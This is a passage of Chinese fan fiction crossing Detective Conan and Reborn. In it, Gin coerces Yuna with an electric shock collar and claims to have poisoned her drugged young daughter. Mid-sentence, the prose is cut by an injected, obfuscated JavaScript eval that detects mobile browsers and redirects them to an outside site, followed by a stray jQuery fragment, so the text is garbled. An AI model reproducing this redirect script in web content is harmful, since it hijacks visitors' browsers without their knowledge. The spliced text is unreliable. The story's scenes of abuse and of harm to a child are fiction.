“家族成员。”琴酒冷笑一声。果然,他的猜测是正确的。他收紧手指,捏得优奈下巴生疼,继续逼问,“什么家族?”
优奈垂下眼睫,低声吐出一个名字:“彭格列。”
彭格列!
琴酒的瞳孔几不可察地收缩了一下。意大利最古老、最强大的家族,彭格列的首领被里世界尊称为教父,可以说是黑暗世界秩序的构建者与统治者。
这解释了一切。为什么他查不到伊万的信息,为什么爱莉亚有那样的身手。这女人背后牵扯的,远比他想象的要深。
顺着这个女人和孩子,他可以触碰到那头黑暗中的庞然巨兽,那是一个让作为组织Boss的那位先生都感到恐惧,从而敬而远之的存在。
让人恐惧,也让琴酒体内嗜血的因子兴奋到颤栗。
“彭格列……很好。”他重复了一遍,语气莫测。
他的手指在优奈白皙的下巴上留下一个暗红色的指印。他放缓力道,轻轻摩挲优奈下巴上的红痕:“记住你之前为了活命而做下的承诺。在我需要时,向我提供情报……哪怕是彭格列的。”
“……好。”
琴酒满意于优奈乖顺的态度,他终于放开优奈的下巴,起身踱步到窗边,墨绿色的眼中闪过冷酷的微光:“不过,为了确保你不会耍什么花招,我给那个小鬼注射了一些小东西。”
优奈浑身一僵,心头升起不详的预感:“……什么?”
“组织特制的神经毒素。每七天需要服用一次解药,否则……”他故意停顿了一下,欣赏着优奈瞬间煞白的脸,“会渐渐失去失去视觉、听觉、触觉……一切感官,最后失去意识,在昏睡中死去。”
“你……!”优奈觉得一阵寒意从脚底直冲天灵盖,她猛地从沙发上站起,冲到琴酒面前扯住他胸口的衣服,像一只暴怒的母狮子,“你!你不能这么对爱莉亚!她是……她是……”
她是你的孩子。
优奈的声音越来越小,她咬着嘴唇,没把这句话说出口。
琴酒任由她抓住自己的衣襟,饶有兴趣地打量面前的女人,这是她第一次用这种态度跟他说话。她的黑眸中闪着愤怒又哀伤的光芒,厉声指责他,双手用力到颤抖。但她的脖颈上戴着他的项圈,她赤裸的身体上布满他留下的痕迹。
她是他的东西,就算她为了其他男人的孩子而伤心,绝望,愤怒,也改变不了这一点。
琴酒不相信爱情,也不愿意费心思考他与优奈的关系,但他会把自己想要的东西拿到手。他想要她,无论是为了她能带来的利益,她的身体,还是……她这个人本身。
手指按下手机上的项圈按钮,优奈颈部的项圈随即传来一阵电流,她抓住琴酒的手无力地松开,整个人瘫软地跪在了琴酒脚边。
琴酒理了理被她抓出褶皱的衣襟,嘴角勾起一抹残酷的笑意。他居高临下地看着因为电击而失去力气的优奈,心中不断膨胀的占有欲得到了极大满足。
项圈,孩子……从身体到意志,他通过这一切完完全全地掌控了他,完完全全地把她变成了自己的东西。
“黑泽优奈,不要想着反抗。”琴酒的声音带着一丝不易觉察的愉悦,他俯下身一把抱起瘫坐在地的优奈,她的四肢绵软无力,像一个可以任由他摆布的玩偶,“你们的性命都在我手里,如果你不听话,我随时能让你们一起下地狱。明白了吗?”
优奈的头无力地垂着,琴酒看不清她的表情,但他知道,她的答案只有一个。
琴酒把她抱进卧室,把她塞到床上的被子里:“不要妄想联系彭格列。他们的科技很强悍,但没有强到能在七天之内研制出解药。”
“……我知道了。”优奈看向琴酒,她又哭了,泪水划过脸颊墨黑的猫眼中盛着琴酒看不懂的感情,“你就算不这么做,我也不会背叛你。”
琴酒一瞬间有种被人看穿的烦躁,他不再看躺在床上的女人,转身径自离开。
琴酒回到安全屋的时候已经是第二天凌晨,伏特加正昏昏欲睡地坐在沙发上,看到琴酒开门,他立刻站了起来:“大哥,你回来了。”
“小鬼怎么样?”琴酒脱下外套问道。
“大哥放心,那小鬼已经睡着了。”伏特加用下巴指了指卧室的方向。卧室的门开着,从这个角度可以看到黑泽爱莉亚的身影。她身上盖着被子,半张脸埋在枕头中,躺在柔软的大床上睡得香甜。
伏特加不由得想起几小时前的场景。爱莉亚在喝完他递过去的加了安眠药的牛奶后,仰着小脸甜甜地说了声“谢谢叔叔,晚安”,然后自己爬上床盖好被子。他可从来没有过这种体验,小孩子看到他不被吓哭就已经很好了。这让伏特加有些内疚,这么乖的孩子就算不让她喝安眠药,也大概率不会带来什么麻烦的。
“还有这个,我刚拿来的CTX-7……”伏特加把脚边的金属箱递给琴酒,有些犹豫地开口,“大哥,真的要给小鬼用这个?这玩意儿产量低得很,是不是有些太浪费了。”他努力让这话听起来是从物资角度出发,而非出于他消失多年后短暂出现的良心。
伏特加是不喜欢小鬼的,他们又吵又闹非常碍事。不过这个叫黑泽爱莉亚的小家伙不同,她笑容甜美,漂亮得像个洋娃娃,还很有礼貌……
最重要的是,他刚才突然想起来这个叫黑泽爱莉亚的小鬼是谁。他记得跟大哥有过一夜情的那个女人黑泽优奈,他看过情报部的资料,那女人的混血女儿似乎就是叫“黑泽爱莉亚”。
上次他见到那个女人,是大哥把她绑起来带回了安全屋,但伏特加并没有收到大哥要求处理尸体的通知,想来大哥没有杀掉她,说不定还跟她建立了什么长期的情人关系,毕竟大哥都好久没有跟他一起去喝酒了。
如果这样的话,这小鬼就是情人的孩子……嘶,这关系可就有点微妙了。伏特加的表情变得有些微妙,墨镜后的眼神闪烁出八卦探究的光芒。
琴酒冷冷瞥了一眼伏特加,没有理会他那点小心思和未尽的劝说。他接过箱子,面无表情地走向卧室。
房门在琴酒身后关上,隔绝了外界。
卧室里只亮着一盏光线柔和的床头灯。琴酒走到床边,高大挺拔的身影立刻投下一片浓重的阴影,将床上那安睡的小人完全笼罩。他没有立刻动作,只是站在那里,冰冷的目光审视着。
女孩在药物作用下睡得很沉,长而卷翘的睫毛在眼睑下投下淡淡的阴影,粉嫩的嘴唇微微张着,发出轻浅规律的呼吸声。毫无防备,脆弱得不堪一击。
琴酒打开手中的金属箱,取出注射器和那管泛着不详幽蓝光泽的CTX-7药剂。动作熟练地组装,排空空气,尖锐的针尖闪烁寒芒。
他俯下身,左手伸向被子,准备掀开一角抓住那只细小的胳膊以便注射。
或许是他的靠近惊扰了爱莉亚,她在梦中不安地蹙起了小小的眉头,发出一声小猫般极轻的呜咽。
“爸爸……”一声模糊不清的的呓语从她唇间逸出,轻得几乎听不见。
紧接着,仿佛在梦中寻求庇护,她的小手无意识地从被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166647|178986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子里伸出来,在空中茫然地抓了一下,然后竟触碰到了琴酒抓住她胳膊的手。微凉大手让她感到一丝奇异的安抚,她的小手立刻紧紧抓住了琴酒的手,甚至还无意识地将脸颊贴了上去,轻轻蹭了蹭。
仿佛找到了安全感,她紧蹙的眉头渐渐舒展开,呼吸重新变得平稳悠长,甚至嘴角微微弯起一点安心的弧度,再次沉沉睡去。
琴酒彻底愣住了。他保持着俯身的姿势,那只拿着针管的手僵在空中,搭在他手上的那只小手绵软温暖,好像要将他灼伤。
突然,熟悉的疼痛再次在他脑海中炸裂。琴酒猛地收回被爱莉亚抓住的手,后退几步扶住床头柜。
破碎凌乱的画面伴随着剧痛涌入他的脑海,画面中仍然是那个看不清脸的女人。但这个女人的样子与以往不同,她的小腹微微隆起,似乎是怀孕了。她穿着一条宽松的白裙子,牵着自己的手在庭院里散步。
“我们的孩子叫什么名字好呢?”
“如果宝宝是跟我一样的黑色头发,就给它起个日本名~我可早就想好了!”
“如果是跟你一样的发色,就起一个俄罗斯名字。唔……我可不知道怎么起,就由你来负责想吧!”
“要快点想出来告诉我哟!不要偷懒!”
她的声音中带着幸福与憧憬,但朦胧又遥远,像古老留声机中播放出的音乐,分辨不出她本来的音色。
琴酒眼前痛得发黑,手中的针管掉在地上摔得粉碎,幽蓝色的液体在地板上蔓延开来。
爱莉亚没有被这轻微的响声吵醒,但那只给她带来奇异安全感的大手突然抽离,让她在梦中不满地蹙起眉,发出一声委屈的呜咽,小手在空中无意识地抓了抓,才又沉沉地睡去。
伏特加听到了屋里的响声,他开门冲进来,看到琴酒的样子后,就立刻明白大哥那该死的头痛病又犯了。他急忙把琴酒扶到沙发上,转头去清理卧室的碎片。
琴酒坐在沙发上,像往常一样靠意志力撑过了这阵撕裂般的剧痛,后背被冷汗打湿。
理智回笼后,他首先想到的是——针剂碎了。还没来得及给小鬼注射。
要让伏特加再去拿一次吗?时间上还来得及。
但是……
爱莉亚安睡的模样浮现在他面前,那个小鬼紧紧抓着他的手指,将温热的脸颊信赖地贴上来,在睡梦中发出那声模糊的“爸爸”。
一个孩童小手般的微小力量,在琴酒决策的天平上悄悄一推,让天平发出几不可察的倾斜。
再去拿一次药剂。就像伏特加说的,这种药剂非常稀有,就算是高级干部也不能短时间内多次使用,一天内取用两次过于惹眼。
更何况他的目的是控制黑泽优奈,让她无条件的臣服。要达到这个目的,让她相信她的女儿被注射了无可挽回的毒素,远比实际注射更重要。
他翻了翻客厅柜子里的医药箱,找到了低浓度的葡萄糖注射液。他知道爱莉亚回家后,那个女人一定会检查她的身体状况。一会儿只要让伏特加给她打一针无害的葡萄糖,在她身上留下一个针眼,那女人就会对他的话深信不疑。
除了这个小鬼之外,还有这麻烦的头痛。
脑海中的女孩,女人,还有今天这个怀孕的母亲……究竟是谁?
他在遇到黑泽优奈后,剧烈的头痛和不属于他的记忆碎片出现得愈发频繁。今天他只是在一个熟睡的小鬼面前打碎了针剂,但如果在任务中出现这种情况,后果不堪设想。
看来是时候再去一趟组织的医疗部了。